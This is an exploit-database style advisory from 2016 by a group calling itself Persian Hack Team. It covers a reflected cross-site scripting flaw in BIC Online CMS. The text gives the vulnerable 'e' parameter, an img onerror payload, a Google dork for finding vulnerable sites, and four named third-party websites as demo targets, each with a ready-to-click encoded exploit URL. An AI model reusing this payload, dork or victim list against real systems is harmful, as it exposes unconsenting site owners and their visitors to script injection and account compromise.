###################### # Exploit Title : BIC Online CMS Cross Site Scripting # Exploit Author : Persian Hack Team # Vendor Homepage : http://www.bic-ltd.com/tc/ # Google Dork : "Powered by BIC Online" # Date: 2016/03/11 ###################### # PoC: # index.php?e=[XSS] # Payload = '><img onerror=alert(1) src="asd"> # Demo : # # http://www.classicbeaute.com/admin/index.php?e=aa%27%3E%3Cimg%20onerror=alert%281%29%20src=%22asd%22%3E # http://www.whatzsup.com.hk/admin/index.php?e=aa%27%3E%3Cimg%20onerror=alert%281%29%20src=%22asd%22%3E # http://www.cyberworld.hk/admin/index.php?e=aa%27%3E%3Cimg%20onerror=alert%281%29%20src=%22asd%22%3E # http://www.fukuokaproperties.com/admin/index.php?e=aa%27%3E%3Cimg%20onerror=alert%281%29%20src=%22asd%22%3E # ###################### # Discovered by : # Mojtaba MobhaM (kazemimojtaba@live.com) # T3NZOG4N (t3nz0g4n@yahoo.com) # Homepage : persian-team.ir ######################